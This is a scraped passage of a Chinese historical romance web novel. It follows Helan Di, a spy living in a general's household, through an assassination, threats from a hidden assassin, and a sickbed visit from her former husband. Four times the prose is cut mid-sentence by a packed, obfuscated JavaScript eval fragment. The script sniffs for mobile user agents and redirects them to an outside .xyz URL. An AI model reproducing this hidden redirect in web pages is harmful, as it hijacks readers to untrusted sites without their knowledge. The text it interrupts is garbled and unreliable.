不过是个寻求庇护的可怜女子罢了,独孤策不在意,他取而代之也不是不可以。 月色深浓,孤城风寂,有人相依总是好的。他觉得自己的心底升腾起了一簇火焰,越来越烈,不可平复。 于是他伸手,挑起了她的下巴:“贺兰荻,但愿你不会后悔。” “我不后悔。”她主动环住了他的腰,撒娇般地在他怀中蹭了蹭,“将军说要保护我,也不许食言呀!”她的尾音柔柔软软的,很勾人。 她说总说自己嘴笨,实在谦虚,独孤宗绪很久没有听到有谁能将字字句句说得如此缭乱人心的。 风声呜咽,烛火缭乱。 独孤宗绪身上泛起一层薄汗,沾染了女子身上的香气,他竟未觉得难以忍受。或许,这只是因为从未有人如她一般,大胆的有些莽撞,妩媚的十分笨拙,让他很放心。 他的唇轻轻压下,落在她桃花般娇艳的侧脸上,一点点顺着滑腻的触感往下落,气息交缠,迷乱无法自拔…… 月色朦胧,海棠如颜花映红。 …… 情欲纠缠间,灯烛都落了泪,谁知忽然,外面传来墨竹的声音,带着几分犹豫:“主公,出事了,大王让你尽快去西院。” “西院?” “清河公主那边出事了。” 只这一句,便叫独孤宗绪停下了所有的动作。 他抬起头,气息仍乱,但是眼眸已经恢复的清明一片。 顿了顿,他对外面道:“我马上就去,先吩咐人将西院围起来,莫要让人借机生事。” 忖了忖,又道:“算了,一切等大王处置,咱们先不动。” 外面应了句“是”,然后匆匆离开,可屋中的旖旎到底被打破,只剩佳人水雾蒙蒙的眼眸,殷殷地看着他,似乎有些不知所措。 “不要害怕,”独孤宗绪的手抚了抚贺兰的发,柔声安慰,“你先回去休息,边地不安全,这几日莫要乱跑,待我料理了此间事情,再来看你。” 贺兰眨了眨眼睛,认真地点了点头。 “将军千万注意安全。” 宗绪说了句“知道了”,然后匆匆离开,离开时带起一阵风,摇曳着晕黄的烛火。光影明灭处,贺兰舒了口气,弯起一个寂寥的笑。 …… 这一晚贺兰独寝,夜半恍惚看到外面仍有火光闪烁,想来确实出了大事,她翻了个身将床帐掩得更紧了些,后来干脆将被子捂在了头上。 这一觉睡得辗转,醒来时天光已大亮。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546669|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 侍女素商一面打着帘子,一面觑着贺兰的脸色,欲言又止。 “何事?”贺兰揉了揉眉心,打了个大大的哈欠。 素商刚准备开口,忽听到身后房门响动,一股冷气呼啸着闯入,让还未更衣的贺兰不由皱了皱眉,向后缩了一下。 “娘子,出事了!”却是槐序的声音。 “你这丫头,冒冒失失做什么?”素商不满地嗔道。 槐序吐了吐舌头,嗫喏道:“确实出了大事啊……” 素商还要再教训她几句,却被贺兰阻止了。她笑意温柔,声音更是温和:“发生什么事了?” 槐序年幼,少有城府,被她这一眼看得心情愉悦,倒豆子一般地将自己所知全部说了出来。 的确是大事。 “昨夜入定时分,清河公主被人勒死在了屋中……”槐序低声道。 说完,她就在娘子的脸上窥到了和她一样震惊的神色。 “公主身边那么多人侍候着,怎么会……”贺兰道。 “听说公主昨夜身体不舒服,早早就睡了。侍女见左右无事,想着前院宴席热闹,就只留了两个年岁尚小的照看。那两个小的贪睡,听到动静后才去内室查看,却发现已经晚了。”槐序惋惜地摇头,扁了扁嘴巴。 贺兰仍在震惊中,脱口而出:“刺客可抓到?” 槐序的头摇得更凶了,声音压低了些:“怪就怪在,就那么一点时间,刺客就消失的无影无踪了。” 这下连素商都讶然不已,道:“怎么可能,人还能凭空消失!” 槐序将自己打探到的尽数说出,神神秘秘的:“所以有人怀疑,刺客还藏在府中,或许就是府上的人。” 贺兰与素商对视一眼,神色微妙。 “若真藏在府上,那将军会不会有麻烦……”贺兰皱眉,露出担忧之色,“槐序,你再去打探打探,我真担心……” 槐序最看不得贺兰忧心,忙答应着出去,跑得比兔子都快。 “娘子不打算让她知道?”槐序离开后,素商将贺兰扶到妆台前,低声问道。 贺兰看着镜中这张有些陌生的脸,轻轻摇了摇头。这些年她其实没有任何变化,甚至随着年岁的增长,出落得越发娇艳夺目,可是她还是觉得自己变了。伪装了太多悲喜,她有时也会恍惚,自己到底该是什么模样。 总归不似当年。 “槐序小孩子脾气,让她知道太多不好。何况她……”贺兰没有说明,但素商却明白了她的意思。 槐序是乐陵公所赠,看着再单纯,也不能事事托付。 “这些人里你陪了我最久,很多事情我都不瞒你,素商,你一天也很辛苦吧。”贺兰转身,一手握住素商的腕子,一手从妆盒中取出一只玉镯,不由分说地给素商戴上。 素商推拒,贺兰却执拗:“现下我给不了你什么,还总是连累你跟着我担惊受怕,真是对不住。若是……这次事情能成,咱们就再不受人欺凌了,今后咱们都只过安定日子,这只玉镯算什么,我们会有更多……” 素商被她说得难受,禁不住红了眼圈:“娘子待我好,便是为你死了,奴也是甘愿的。” 贺兰阻止了她的话:“不许说丧气话!我不要你死,我们都要好好活,花团锦簇的活,听明白了吗?” 5. 五、孤注掷 午膳后,贺兰吩咐素商打开后院的角门。 “都不用侍候了,我想要休息片刻。”她淡声吩咐。新来的侍女从未见过这么省心又好脾气的主子,自然乐得退下,去躲些清闲。 “你去外面候着,多留意些。”贺兰对素商道。 “娘子……”素商心有忧虑,却不知该怎么说。 贺兰莞尔,找了个舒服的姿势,窝在窗边的榻上,声音懒洋洋的:“乐陵公已经将府里团团围了,他出不去府,可不得来我这里讨个办法。” “可是,若他伤到娘子怎么办?” 贺兰摇头说不会:“那个人以为我还有用处,不会让他伤了我的,放心吧。” 说罢,她轻轻阖上眼眸,仿佛真得困意昏沉,准备小憩片刻。 那人比她预想中来得还要快些,看样子有些气急败坏。 “娘子好定力,府里乱成这样,还能高枕无忧。”那人坐在梁上,声音里带着几分轻慢。 贺兰眼皮都没有抬,只是起身,坐到了镜前,仔细端详着自己今日的装扮。 “封将军武艺高强,便是做这梁上君子,也能做得如此神出鬼没。”贺兰将一支金簪插入发髻,满意地笑了起来。她说话的声音很轻柔,听着不过是闲话家常,可封阙却听出了嘲讽的意思。 “当不起娘子这一声将军,”他从梁上跳下,轻轻落在铺着锦毯的地上,半点声息也没发出,“不过是殿下身边的仆婢罢了。” 他将“仆婢”二字咬得极重,显然有提醒贺兰的意思。 然而贺兰并未露出任何羞愤之色,只是在说话间又将一只玛瑙手串戴在了自己的腕上。 “将军今日找来,究竟有何要事?”她漫不经心的问。 明知她在装傻,但封阙毫无办法,他没想到独孤宗绪的反应这样快,整个太守府围的铁桶一般,就算他武艺高强,也没有办法抽身离开。 事到如今,只能靠这个女人了,哪怕心里再不屑,还是得暂时低头。 他懒得再与她虚与委蛇,直接说明自己的来意:“独孤宗绪将整个府邸都围了起来,挨个院落搜查,你必须尽快想个办法,让我安全离开。” 有求于人还如此理直气壮,还真拿自己当个人物了。 贺兰用衣袖掩着唇笑了起来:“我可没有这样的本事,将军可真是为难人了。将军杀人时那般果断,想必已经有了抽身之法,怎么还会来求我一个‘仆婢’……” “殿下对你尚有耐心,我却没有。萧氏,你不想活了么,还是说想让洛阳的那一位也给你陪葬!”封阙被她激怒,声音都大了许多。 贺兰起身,踱到了窗边,在确定附近无人后,才缓缓在唇上比了个“噤声”的手势。 “你再嚷下去,你也得给我陪葬了。”说罢,她走到封阙身边,眨着眼对他笑。 封阙慌得退了几步,脸色更黑了,低哑着嗓子警告:“都是在替殿下做事,你最好乖觉点,此事若败露,咱们都活不了。” 见贺兰仍旧漫不经心,他不由得又补了一句:“殿下不是怜香惜玉的人,你若是敢生了贰心,不要怪他不念旧情。” “我哪敢啊……”贺兰用手扶了扶鬓上的钗环,苦笑道,“可是此事的确很棘手,我有什么办法。” 她又踱了几步,想到一个主意:“事到如今,你藏在我这里反倒安全,等过几日风声不这么紧了,我再送你出府,可好?” 封阙想来想去,也确实别无他法,答应着还不忘继续威胁:“不要自作聪明,你阿父如今看上去有官有爵,其实不过阶下之囚。殿下若想要他的命,也不过轻而易举。” “不劳将军提醒,我知道自己的身份。渤海王殿下身份尊贵,权势煊赫,不是我们这些人可以得罪的。”贺兰的声音很轻柔,但一字一句却压抑着怒意。 “知道就好……”封阙见她如此,难免得意,一转身去了后院,寻地方藏身去了。 看着他消失的背影,贺兰眼中闪过一丝幽微的恨意,但眨眼间,又恢复了含笑浅媚的样子。 …… 素商进屋时,见贺兰独自趴在窗边发呆,上前道:“奴去问了,乐陵公今日仍宿在书房,让娘子不要等他了。” “看来很棘手啊……”贺兰低低叹了一句,伸手去触横斜在窗口的梅枝,梅枝上积了一痕雪,不期然就落在手上,慢慢化成一滴晶莹的水珠。 “公主为联姻而来,她出了事,自然影响颇大。” “两国缔约,非得牺牲一个女子……”贺兰幽幽叹息。 素商没听明白,以为她没有休息好,关切道:“他既然不来,娘子也好趁机休息一下。” “什么?”贺兰显然没听清她的话。 素商指了指她眼下的乌青:“娘子再去睡一会儿吧,这里有奴照应着。” 素商从贺兰部一路伴她到现在,自以为比谁都了解她,比谁都心疼她。若不是贺兰部被灭,娘子失了依祜,又被那慕容泓要挟,她又何须应付这些恶心的男子。她这般样貌性情,本该安稳度过一生的。 说到底,都都怪那该死的独孤策。如果不是他的背弃,娘子也不会有今日的困苦无奈。 娘子当初满怀憧憬的嫁给他,以为自己得遇良人,全心全意地待他好,可是他在离开时却一点都没有犹豫。 所谓忘恩负义也不过如此了吧。 “娘子,我们这次真能逃出渤海王的魔爪吗,他那样凶狠的人,连亲妹妹都杀,奴实在怕……”素商宽慰道。 贺兰笑了一下,没有说什么,只是安抚地拍了拍她的肩膀。 他以为能拿捏利用自己,焉知自己不是在利用他? …… 接下来数日,独孤宗绪一次都未踏入后宅,封阙着急,出现得越发频繁,警告威胁的话一次比一次过分。 “他不来不是正好说明此处安全吗?你急什么……”贺兰冷然轻笑,勾了点胭脂点在了唇上。 封阙最讨厌她这个样子,毫无半分柔顺温婉的淑女姿态,张扬厚颜到了极处。于是没好气道:“我不急,反正出了事,你也活不了。独孤宗绪若是知道你是殿下派来的细作,岂能容你!” “这美人计用起来……真不容易呢。我刚到他身边,就出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546670|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么大的事儿,你说他会不会怀疑我呀!”点了胭脂的唇红得艳丽,翕动之间,让人挪不开眼睛。 明明她也在局中,此时却装成局外人模样,一脸的天真无辜。 封阙忽然想起了主上的话,冷着声警告:“给你三日,若我还是出不去,我不介意借你的头一用!” 贺兰听他说完,脸上并未有恐惧之色,她仍旧含着笑,长睫一眨一眨,纯真极了。 “封将军这样说话,我不爱听……”她缓缓道,“下次换个我喜欢的说话方式,说不定我就乖乖听话了。” 封阙怒气纵横,却显然拿她没有办法,悻悻然离开。 贺兰看着他一闪便消失的背影,脑海中重现着昨夜的梦,也许那不能叫梦,只能叫回忆。 …… “阿荻,你当真不愿去?”义父的话似乎仍在耳边。 那时她拒绝的那般果断:“阿耶说这些,不过因为我是个女子,阿耶觉得不堪其用罢了。贺兰部如今腹背受敌,身边群狼环饲,想以女子来换生机不过是饮鸩止渴,阿耶何必如此做。” “他是大晋的渤海王,是皇长子,”贺兰越并不认同阿荻的话,“你若是讨得他欢心,他说不定会将你带回洛阳,封个侧妃也未可知。” “若是他不带我回去呢?”巨大的羞愤之感,让贺兰荻泪流满面。 她一路逃亡,早就不是娇养在深闺的女郎。她抛弃了矜持和廉耻,会从别人的手中抢东西吃,被打的头破血流是常事,泥巴糊住伤口,爬起来继续抢。没有饿死不过是奇迹,狗彘一样的活了下来,她唯一的愿望就是攥住当下的一切,从不敢奢望什么未来。 可是这件事,还是超过了她的接受范围。 “就算他不带你去,也该知道我贺兰部的态度,若将来我部遇到危险,或许还能指望大晋派兵来救……”贺兰越显然不在意她的想法,根本看不到她的绝望。 “阿耶,我是你的义女,不是青楼的妓子……”她膝行几步,匍匐在贺兰越的脚下,“阿耶当初让我嫁给独孤策,我没有违拗半分,如今被他抛弃,孤苦无依……阿耶就当是可怜我,不要让我去,好不好……” “阿荻!”贺兰越伸手将她扶起,强硬地捏住了她的下巴,迫着她看向自己。 “亏你还记得我对你的活命之恩……那你也该想着报答不是么?让你嫁给独孤策,原是让你去维系我们和独孤部的关系,可是你自己不争气啊!这次,给你一个将功赎罪的机会,侍奉好了渤海王,贺兰部还会给你一口饭吃,否则,你就去自生自灭吧!” “求求阿耶,我可以嫁到其他部落去……” “休要多言!” …… 原以为那样的噩梦经历一次就够了,她却根本没料想到,这原来只是个开始。不过两年时间,她又以同样的方式遇到那个人,而送她的人却变了。 “殿下喜爱你,是你的福分。我们在大晋无依无靠,芜娘,这是个好机会呀!” 同样的把戏,不过换了一套说辞罢了,过去她没有选择的机会,可是这次她愿意孤注一掷,给自己换一个生机。 6. 六、病中语 夜色深沉,人声寂寂,贺兰走到窗边,支起了窗户。窗外朔风凌冽,卷着雪花扑进了屋。 “素商,我想要沐浴……”她恹恹地说道, “奴去备水。”素商答应着往外走,忍不住回头去看贺兰,却见她缓缓趴在了妆台上,明媚的眼眸微阖,让人无法分辨她真实的心情。 她不由低声叹了口气。 封阙来得太过于频繁,若是被人发现,难免牵连到娘子。真该想个法子让他消失才好。 贺兰怔然望着窗外,白茫茫一片天地,天寒地冻,少人行走。可她却觉得有一团火灼烧着她,烧得五脏六腑都痛痒难耐。她急切地想做些什么,好浇灭这团火,让她能恢复宁和与平静。 烈焰焚心,身处火宅,她需要靠自己,才能一步步爬出阿鼻地狱。 是啊,她只能靠自己。 此棋局一旦开始,便再无回旋余地,她没有退路。 …… “娘子,水冷了。”槐序听素商的话,捧着布巾,一直守在外面,见里面半晌没有声息,不由出言问道。 这一声将贺兰从冗杂缭乱的回忆中惊醒,她将头从水中探出,长长地吸了口气。 春风不及的燕关,连月光都冰凉凉的,带着刺骨的寒意。她穿着一件单衣,拒绝了槐序递上来的大氅,一步步走出了屋子。 不过略走几步,就觉得浑身被冻僵了,可是心口的烦躁焦灼却明显减轻了许多。院子不大,抬眼就看见一株梅树横斜着探出院墙,雪蕊凝枝,傲然于寒风中。 此景足以让她驻足。 “‘树动悬冰落,枝高出手寒。早知觅不见,真悔著衣单。’青芜,这两句诗写得是不是很好?”记忆里的声音柔婉动听,那个对她说话的人也如枝上寒梅般高洁。 青芜……萧青芜已经死了,活着的人叫贺兰荻!回忆不能带来任何好处,只是负担罢了。 贺兰伸手,触到伶仃于寒风中的花,微凉的触感让她清醒了几分,再回眸时又是那个明眸善睐的女子。 “娘子,外面冷,快回去休息吧。”槐序跺着脚,催了一声。 贺兰点头,走了几步,忽然捂着帕子咳了起来。起初还只是零星几声,可越咳就越厉害,到后面连那几步回屋的路都走得艰难。 “娘子风寒未愈,怎能再受凉,奴扶你回去吧。”槐序心疼,上前几步将她半抱在怀中,扬声吩咐院中几个呆头呆脑,不知所措的小婢,“还不快去寻大夫,愣着做什么!” 贺兰勉力抬起头,温声宽慰她:“我没事,休息休息就好了,这会儿请大夫动静怪大的,若是惊扰到将军便是我的错了。” “都这样了你还想着别人,”槐序急得都要哭了,“不管主公如何,你好歹要自己心疼自己吧。” 她将人带回屋中,扶到榻上,准备转身去倒水时,忽然听到帐幔后传来细细的啜泣声,似乎压抑着无限愁怨。 这样的女郎,让她心疼。 槐序跺了跺脚,不顾贺兰方才的阻拦,径直去了前院。 一路跑到书房,却被告知独孤宗绪谁都不见。她在阁外急得团团转,但这里的仆从却并没有搭理她的意思。 槐序在寒风中等了许久,好不容易有个面庞清秀的小仆愿意帮忙,才终于将话递了进去。 出来见她的人是墨竹,脸上带着一丝不耐,不过态度算不上糟糕:“出了什么事?” “娘子病了,主公可不可以去看看她……”槐序央求道。 墨竹以为是什么大事,才匆忙出来,却不想只是这个理由,一个在后宅争宠中都拿不出手的拙劣借口。 他侧首对方才去请他的小仆道,“娘子生病了,还不赶紧去请大夫。” 他处事果决周全,但是话里话外透出的轻慢,却是怎么都藏不住的。 见槐序仍不肯走,墨竹皱眉催促:“主公有事要忙,还是不要惊动他为好。” 此言一出,与赶人无异。 槐序满心失望,踟蹰着往回挪着脚步,可是半晌也未听到对方有挽留的话语。她知道自己是自取其辱了,不由更加郁闷,忍不住叹了口气。 转过回廊,忽然听到身后传来一个男子的声音,突兀但也清朗:“她病得严重吗?” 槐序抹了把脸上的泪,回身去看,惨然的月色照在粉白的墙上,墙上倒映着纵横的树影,树影也参差落在了那个立在墙边的男子衣衫上。 他生得俊朗,是瑰丽无匹的好相貌,哪怕是在这样凄寒的夜里,看着也如灼灼迫人的火焰。 她愣了一下,急忙前去行礼。 “奴死罪,没有看到大王。” 独孤策觉得自己有些失了智,原本想好各不相干的,但是他也不明白,为什么在听到她生病后,自己还是忍不住多嘴关切一句。 毕竟当初她那样拒绝自己的靠近。 世上哪有这样的夫妻,比陌生人还要像陌生人,他还没有来得及多看她几眼,就选择弃她而去,而她也倔强地从未给过他半点机会…… 现在又是在做什么。 同情罢了,他不是个心硬的人,做不到对她的困境视而不见。 只是如此。 “带路……”独孤策的眼神凉凉的,带着压迫。他本就是个可怕的男人,积威更重,寡言少语,让人不敢去违拗。 槐序想让自己更有骨气些,可是发软的双腿却暴露了她的怯懦。她只能一遍遍乞求自己这次不要给娘子惹太大的麻烦,不要让娘子的处境更被动。 身后的人仿佛能感知到她内心的忐忑,就在快到时,对她说:“想办法支开所有的侍从,孤很快离开。” 槐序念了句“阿弥陀佛”,忍不住暗暗拍了拍自己的胸口,犹疑着应了下来:“奴这就去……可是,大王千万不要耽误太久,毕竟娘子如今是乐陵公的内眷……” “这不是你该管的事,况且他也不会知道。”独孤策并不想有更多的解释,不耐地冷哼了一声,“便是知道,又能如何?” …… 病中的美人少了几分妍媚,多了几分柔弱无助的美。她绯红着脸,口中不知道说些什么,泪水顺着她的脸颊滑落,也带着滚烫的温度。 模糊的记忆重又归来,五年的岁月非但没有消损她的容颜,反而让她的美貌更加让人惊叹。 他自诩是个冷情冷性的人,可此情此景下,竟然也恍惚了刹那。忍不住伸出手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546671|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触了触她的额,那里灼热的温度,让他不由得皱起了眉。 病成这样,竟然无人理睬,独孤宗绪未免太寡情了些。 独孤策刚准备起身去帮她找大夫,手腕却忽然被一个孱弱的力道抓住了。他垂目去看,方才还昏睡的女子,此时已睁着一双水雾氤氲地眼睛,迷离哀婉地看着自己。 她的眼睛因为高热而有些浑浊,里面布满了血丝,然而这样秀目半睁的样子却无端惹人心疼。 “将军……”她的嗓子有些哑,声音轻柔又小心,“我没事的,你不用来看我……” 她叹了口气,哀伤地闭上了眼睛。 独孤策摸了摸鼻子,不知道该如何应对。他与六叔确实有几分相像,她病中将人认错也正常。 “我无事的,大夫很快就到了,你走吧……”她的眼泪安静无声地落下,很快就湿了衾枕。 独孤策一时怔忡,心里说不上是什么滋味。 他小心翼翼地伸出手去,想要帮她拭去眼角的泪水,可是那泪却像怎么都流不完似的,旧痕仍在,新泪又添。 “你可怨我……”半晌后,独孤策找回了自己的声音,开口却是这样一句。他不知道自己期待什么,这句话分明很突兀。 可他偏想听到她的回答。 可惜,她的意识逐渐混沌,他没能听到她的回答。 独孤策的手僵在了她的颊边,柔软的触感,散着幽幽的香气,他的心跳诡异地滞了一下。 “阿荻,你心中可还怨着我……”独孤策仍不死心,又问了一句。 过了很久,在他已经要失去耐心时,她却忽然给了回应。 她挣扎着起身,缓缓地将滚烫的身体靠在了他的怀中。 她仍不清醒,否则怎么会有这样糊涂又大胆的举动。 “我很难受,将军,你抱抱我……”她伸手手臂,环住了他的腰,脸颊无意识地在他怀中蹭着,像是一个摇尾乞怜的小兽,“阿荻不想你离开的。” 她一遍遍重复着,始终不肯松开手,只将他抱得更紧,仿佛是抓住了一支浮木。 独孤策浑身僵的厉害,她的身体像是一个烧红的火炭,而他就是那个被施以炮烙之刑的罪人。哪怕四肢百骸都在忍受着火灼之苦,他仍没有办法将她推开。 原来她只是将他当做了六叔!原来她会这样依恋一个人…… 她该忘掉他的,尽管那时他们感情浅淡,但这不该是他背信弃义的理由。他从没想过,一个弱女子在这纷乱的世道中,到底该如何活下去。 哭了许久,她像是累了,终于沉沉昏睡了过去,可纤细的指仍攥着他的衣襟,将那里纠结成皱巴巴的一片。 独孤策长长舒了口气,扶她躺下后,逃也似的离开了。 门扉重重阖上,携带起一股凌冽的寒风,榻上之人缓缓睁开眼睛,轻轻扶了扶自己方才被弄乱的衣襟。 早知道槐序粗心又胆小,今夜就该让素商去。独孤宗绪没来,反而惹来了独孤策,让计划好的事情全部作废了。 何况,她一点都不想同他有什么瓜葛,但愿方才的举动,能让他彻底放下与她的过往。 不恨他,已经是对他最大的宽容了! 7. 七、飘零人 独孤策前脚离开,后脚医女就来了。 这是一个三十岁出头的女医,瘦削身材,眉目清秀。 “须得施针,都先退下吧。”她吩咐了一声,又补了一句,“按照刚才的方子去抓药,文火煎好,尽快给她喝。” 侍女应声退下后,帘后的人忽然低低笑了起来:“环夫人,你如今越发像个大夫了。” 医女听闻此言,睨了帐中人一眼,冷声道:“你若是再多病几次,靠着那些胡乱抄出来的方子,怕是兜不住了。毕竟我只知杀人,不知怎么救人。” “别总是打打杀杀的,怪吓人的。”贺兰起身,理了理自己躺得有些凌乱的发。 “……”被她叫做环夫人的女子不说话,只是看着贺兰,有些无奈。 “我刚才看到独孤策了,怎么,你还对他余情未了?”见贺兰仍是那种散漫的样子,她不由说道。 “谁想搭理他,不过是槐序那傻丫头请错人了。”贺兰低头,小声嗫喏。 “可他留了很久。” “做戏做全套,总不好拿棍子打出去。” “要真对他绝情,就该打出去才好。不过是个负心人,你不用对他旧情难忘。” 贺兰的声音里透着几分无奈:“没有什么旧情难忘,我为了能活下去已经用尽全力了,哪有空去想别的。情爱之事最奢侈,我不敢奢望。” 她一贯倔强,喜欢在她们面前粉饰太平,所以一说丧气话时,就分外惹人心疼。 “我们离开这里,随便寻一处清净地,也能过得很好。”环夫人劝道,一贯清冷的眉目间平添许多温柔。 贺兰却没有反驳她的话,不过刹那就敛了方才的失落,凑到她面前,笑得像只狐狸:“这世上最关心我的人,便是姊姊了。姊姊见多识广,我都听你的,好不好?” 粉面桃花眼,当真有迷惑人的本事。 环夫人被她闹了个大红脸,往后缩了一下,嗔了一句:“你的花言巧语,也就能骗骗我了。” 又道:“我比你年长,经历也多些,你再聪慧,也不会是那些人的对手。芜娘,你想要做什么我拦不住,但你千万不要泥足深陷,奢望太多。” 话音未落,就看到贺兰脸上露出一抹苦笑,她抚着披散在胸前的长发,曼声道:“我一无所有,只有皮相尚可,能拿来利用一二也算是不错了。” “姊姊,这些人眼中,我们根本连人都算不上,不过是个工具罢了。”贺兰苍白的唇上,笑意依旧温柔。 环夫人伸手抱住了贺兰,任她的头靠在自己孱弱的肩上。 她拍着贺兰的力度,就像拍着一个婴孩,眼里却满是藏不住的杀气:“我替你杀光他们吧,何必费心和他们周旋。” “姊姊又说气话,你又不是不了解我,我最喜欢美男子了,何况还是有利用价值的。等到厌了,再换一个就是了。”贺兰一脸无所谓的样子,豪气地摆了摆手,“你只管藏好自己的身份,独孤宗绪多疑,独孤策也不遑多让,他们见你来得频繁,必然会对你的身份细细查验,你须得提防。” 环夫人点头:“我知道的,若是不露个破绽,他们还会一查再查。所以只要隐约让他们查出我也来自于贺兰部就行。” “贺兰部已族灭,两个女子想要相依为命,再正常没有了。” 贺兰笑着握紧了她的手,道:“我这次答应你的话,都是真的,等到这件事了结,我一定随你离开这里。毕竟……也怪无趣的。” 环夫人反握住贺兰的手,在她手背的细腻纹路上缓缓摩挲:“时间过得多快啊,一晃都这么些年了,若是夫人看到你受了这么多苦,该多心疼啊。” “不管怎么说,我不是还活得好好的么,她会替我欣慰的。将来若是有机会,我还要重新替她修葺坟冢呢。明明是殉城的大英雄,现在的处境也太寒酸了些……”贺兰叹道。 当年城池陷落,若不是眼前女子一路护送她杀出来,她现在也只是落得孤坟一座。南北不久后就议了和,宛城陷落的事情就那样不了了之,投降到北地的人封官加爵,这种牺牲便像极了笑话。 清风一吹,散作尘烟。 “姊姊,我心里又有了一个计划,不知你可愿意帮我。”贺兰问道。 环夫人点头,忙附耳过去。 “这……可行吗?”她听完,暗暗皱眉,“你对独孤策……当真只是利用而已?” 贺兰并没有矢口否认,想了想,才缓声道:“或许也有不甘心,不甘心自己当初踏错了路,才会有现在这样被动的局面。又或许也有恨,恨他就那样弃我而去……” “你就是嘴硬……”环夫人叹气,“若真的恨他,哪里肯给他机会。不过他甘冒风险来看你,想来也并不是个心硬的人,或许当初是有苦衷的。话说回来,就算那时他带你走,你愿意跟着他么?” 贺兰用手抚了抚额,疲惫的摇头。 她自然不会,一个一无所有的人,没有任何值得冒险的理由。当初独孤策离开贺兰部,算得上前途未卜,九死一生,她绝不会陪着他。 可一码归一码,终究是他辜负在先。 “那独孤宗绪呢?” “他……我与他不过虚与委蛇,没有什么情意纠葛。”贺兰眨了眨眼睛,道。 “何况,男人的情意,一向算不得什么。” 环夫人想了想,迟疑着点头:“对于这些人,女色确实可有可无。” 贺兰轻笑:“我记得阿父教我弈棋时说过,有时候多布局一条路,生机就会多一分。我喜欢多给自己找几条路……” 环夫人还想说什么,忽然被外面侍女的声音打断:“主公至。” 贺兰没料到独孤宗绪会来,更没料到他来得如此快,按了按环夫人的手,示意她莫要慌乱。 环夫人显然比她还镇静些。 猝不及防的刺痛从穴位上传来,贺兰疼得呲牙咧嘴,还未来得及呼痛,就听到她低沉着嗓音,说道:“燕关苦寒,娘子旧疾未愈,今日又在外面待了太久,寒气入了体。若不善加休养,恐今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546672|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后惹来更大的病症,到时怕是神仙也难医了。” “我记下了,有劳。”贺兰的声音听着虚弱无力,“将军若问起,劳烦你就说我无碍。他事务繁忙,我不想他担忧。” “娘子放心。” 门外朔风凌冽,屋中言语落在耳中,碎片般支离。可是独孤宗绪还是听到了,仿佛有一滴雨落在心尖,一点点湿润,一点点凉意。 第一次见她,比她知道的要早。那时他隐藏身份,前去见乞伏那归。满室美人低首,唯有她悄然抬头,用那双漂亮的眼睛窥探着周遭的一切,被发现后虽然匆忙掩饰,但并不见任何慌乱之色。 一个狡黠如狐的女子,胆子比谁都大,心思却比谁都细。 是个很有心思的女郎,他想,这样的女子留在身边或许很有趣。 仆婢帮独孤宗绪打开了门,陌生的陈设布局提醒着他,这是他这些天第一次踏入她的住处。这间屋子不大,装饰的也简单,不过走了几步就看到了低垂的秋香色帐幔,还有倚在帐幔后那抹清瘦的影子。 见到他的那一瞬,那双眼眸中显示闪过一丝惊喜后,又仓皇地垂了下去,笨拙地掩藏着自己的情绪。 “这会儿可好些了?”独孤宗绪上前,触了触贺兰的额。 贺兰瑟缩地退了一下,只道自己无妨,但泪却簌簌而落,仿佛断了线的珠子。 “将军诸事繁杂,外面天寒路滑,实在不必专门过来一趟。”她咬着下唇,才勉强止住了哽咽,“妾已无恙,将军放心吧。” 话说得硬气,但颤抖的肩膀却让她看着更无助。 俊秀清冷的一张脸上微微露出一丝不忍,独孤宗绪将手放在贺兰的肩上,轻轻拍了几下,意在安抚。 可谁知她却哭得更厉害了。 正在独孤宗绪怔愣无措时,一阵清甜的香气袭来,柔软地身躯就那般猝不及防地落入他的怀中。他本能想要推拒,可她的手臂已经环住了他的腰,带着几分娇蛮。 “将军就这般厌恶我么?”她抬起头,用通红的眼睛看着他,“若将军当真厌我,我……” “你又当如何?”独孤宗绪的嗓子有些发干,整个人都带着几分僵硬。 她吸了吸鼻子,一滴泪珠挂在眼睫上,晃晃悠悠地,将落未落。 